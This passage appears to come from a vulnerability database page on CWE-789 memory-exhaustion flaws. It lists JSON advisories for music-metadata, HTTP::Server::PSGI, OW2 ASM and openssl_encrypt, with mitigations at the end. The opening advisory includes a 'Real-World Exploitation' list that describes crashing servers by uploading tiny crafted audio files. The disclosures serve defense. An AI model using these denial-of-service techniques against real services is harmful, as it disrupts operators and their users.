MB was allocated despite only 10 bytes of input\n\nMemory before: { heapUsed: \u00272.50 MB\u0027, external: \u00270.00 MB\u0027 }\nMemory after: { heapUsed: \u00272.60 MB\u0027, external: \u0027256.00 MB\u0027 }\nexternalDelta: 256.00 MB\nParse time: 15.23 ms\nResult: \u26a0\ufe0f LARGE ALLOCATION\n```\n\n---\n\n### Impact\n\n**Vulnerability Type:** Uncontrolled Memory Allocation / Denial of Service (CWE-789)\n\n**Attack Vector:** Network - Any service that accepts and parses MP3/FLAC/DSF/Musepack files\n\n**Who is Impacted:**\n\n- Music streaming platforms (Spotify, Apple Music, YouTube Music, etc.)\n- Podcast hosting services (Podbean, Transistor, Anchor, etc.)\n- Media servers (Plex, Subsonic, Jellyfin, etc.)\n- Audio processing services (Discord, Slack, Teams)\n- Any web service with file upload that uses music-metadata\n\n**Real-World Exploitation:**\n\n1. **Single Attacker, Multiple Files:**\n - Upload 10 malicious ID3v2 files (10 bytes each)\n - Force 2.68 GB memory allocation\n - Overwhelm server memory capacity\n\n2. **Distributed Attack:**\n - 100 concurrent uploads \u00d7 268 MB = 26.8 GB memory\n - Exhaust server memory, force OOM kills\n - Crash worker processes, cause DoS\n\n3. **Slow Leak:**\n - Repeatedly upload truncated ID3v2 files\n - Each parse allocates 268 MB\n - Memory leaks accumulate over time\n - Server becomes unresponsive\n\n4. **Cost Impact:**\n - Forced to scale up server capacity for parsing\n - Increased infrastructure costs\n - Reduced service availability",
"id": "GHSA-jjpr-9cvf-cq55",
"modified": "2026-10-08T19:43:17Z",
"published": "2026-10-08T19:43:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/security/advisories/GHSA-jjpr-9cvf-cq55"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/pull/2743"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/commit/b033db675b913a9dba1d29135ec3c10eae7095a7"
},
{
"type": "PACKAGE",
"url": "https://github.com/Borewit/music-metadata"
},
{
"type": "WEB",
"url": "https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "music-metadata: ID3v2 tag size not validated before allocation, causing memory exhaustion DoS"
}
GHSA-JMH5-FMFV-H6F8
Vulnerability from github – Published: 2026-10-25 18:31 – Updated: 2026-11-02 18:32HTTP::Server::PSGI versions before 1.0056 for Perl allow a single request to crash the server by declaring a large Content-Length.
The request body is read with sysread() calls sized by the remaining Content-Length. Perl grows the read buffer to the requested length before any data arrives, so the server tries to allocate as much memory as the client declares.
A remote attacker can send one request with a large Content-Length and a few body bytes, and perl exits with an out-of-memory error before the application is called. HTTP::Server::PSGI runs as a single process, so the server stays down until restarted.
{
"affected": [],
"aliases": [
"CVE-2026-115825"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-25T17:17:01Z",
"severity": "HIGH"
},
"details": "HTTP::Server::PSGI versions before 1.0056 for Perl allow a single request to crash the server by declaring a large Content-Length.\n\nThe request body is read with sysread() calls sized by the remaining Content-Length. Perl grows the read buffer to the requested length before any data arrives, so the server tries to allocate as much memory as the client declares.\n\nA remote attacker can send one request with a large Content-Length and a few body bytes, and perl exits with an out-of-memory error before the application is called. HTTP::Server::PSGI runs as a single process, so the server stays down until restarted.",
"id": "GHSA-jmh5-fmfv-h6f8",
"modified": "2026-11-02T18:32:02Z",
"published": "2026-10-25T18:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-115825"
},
{
"type": "WEB",
"url": "https://github.com/plack/Plack/commit/11545871cadc5df1b744cebb429cfeb4ebc1069a.patch"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/MIYAGAWA/Plack-1.0056/changes"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/10/26/10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JV96-63P8-4RFX
Vulnerability from github – Published: 2026-10-14 15:32 – Updated: 2026-10-14 15:32OW2 ASM 5.0 before 9.11 contains an excessive memory allocation vulnerability in ClassReader.readBootstrapMethodsAttribute() that sizes an int array from num_bootstrap_methods without validating attribute_length. Attackers can supply a crafted class file of about 100 bytes that forces roughly 2 GB allocation, causing an OutOfMemoryError that crashes the JVM or consuming thread.
{
"affected": [],
"aliases": [
"CVE-2026-110257"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-14T15:17:07Z",
"severity": "MODERATE"
},
"details": "OW2 ASM 5.0 before 9.11 contains an excessive memory allocation vulnerability in ClassReader.readBootstrapMethodsAttribute() that sizes an int array from num_bootstrap_methods without validating attribute_length. Attackers can supply a crafted class file of about 100 bytes that forces roughly 2 GB allocation, causing an OutOfMemoryError that crashes the JVM or consuming thread.",
"id": "GHSA-jv96-63p8-4rfx",
"modified": "2026-10-14T15:32:22Z",
"published": "2026-10-14T15:32:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-110257"
},
{
"type": "WEB",
"url": "https://asm.ow2.io/versions.html"
},
{
"type": "WEB",
"url": "https://gitlab.ow2.org/asm/asm/-/blob/ASM_9_10_1/asm/src/main/java/org/objectweb/asm/ClassReader.java#L3497"
},
{
"type": "WEB",
"url": "https://gitlab.ow2.org/asm/asm/-/commit/eb5fa95bb0670eaec2ecf9b8a3a501b48e5a967c"
},
{
"type": "WEB",
"url": "https://gitlab.ow2.org/asm/asm/-/merge_requests/456"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/ow2-asm-5.0-before-9.11-excessive-memory-allocation-via-bootstrapmethods-attribute"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JVX4-P844-XHJ6
Vulnerability from github – Published: 2026-08-27 18:32 – Updated: 2026-08-27 18:32openssl_encrypt (pip: openssl-encrypt) versions 1.4.8 and earlier fail to validate the 36-bit STREAMINFO total_samples field of FLAC files before using it to size an allocation (np.random.randint(size=(total_samples, channels))). A ~50-byte crafted FLAC file declaring ~100 million samples causes a multi-gigabyte memory allocation, leading to out-of-memory denial of service during 'decrypt --stego-extract'. The issue is fixed in 1.4.9; both the 1.4.x and 1.5.x lines are affected.
{
"affected": [],
"aliases": [
"CVE-2026-81692"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-27T17:20:59Z",
"severity": "HIGH"
},
"details": "openssl_encrypt (pip: openssl-encrypt) versions 1.4.8 and earlier fail to validate the 36-bit STREAMINFO total_samples field of FLAC files before using it to size an allocation (np.random.randint(size=(total_samples, channels))). A ~50-byte crafted FLAC file declaring ~100 million samples causes a multi-gigabyte memory allocation, leading to out-of-memory denial of service during \u0027decrypt --stego-extract\u0027. The issue is fixed in 1.4.9; both the 1.4.x and 1.5.x lines are affected.",
"id": "GHSA-jvx4-p844-xhj6",
"modified": "2026-08-27T18:32:28Z",
"published": "2026-08-27T18:32:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jahlives/openssl_encrypt/security/advisories/GHSA-wr9q-p3rj-vqq7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81692"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openssl-encrypt-before-1.4.9-denial-of-service-via-streaminfo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.
Mitigation
Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.
No CAPEC attack patterns related to this CWE.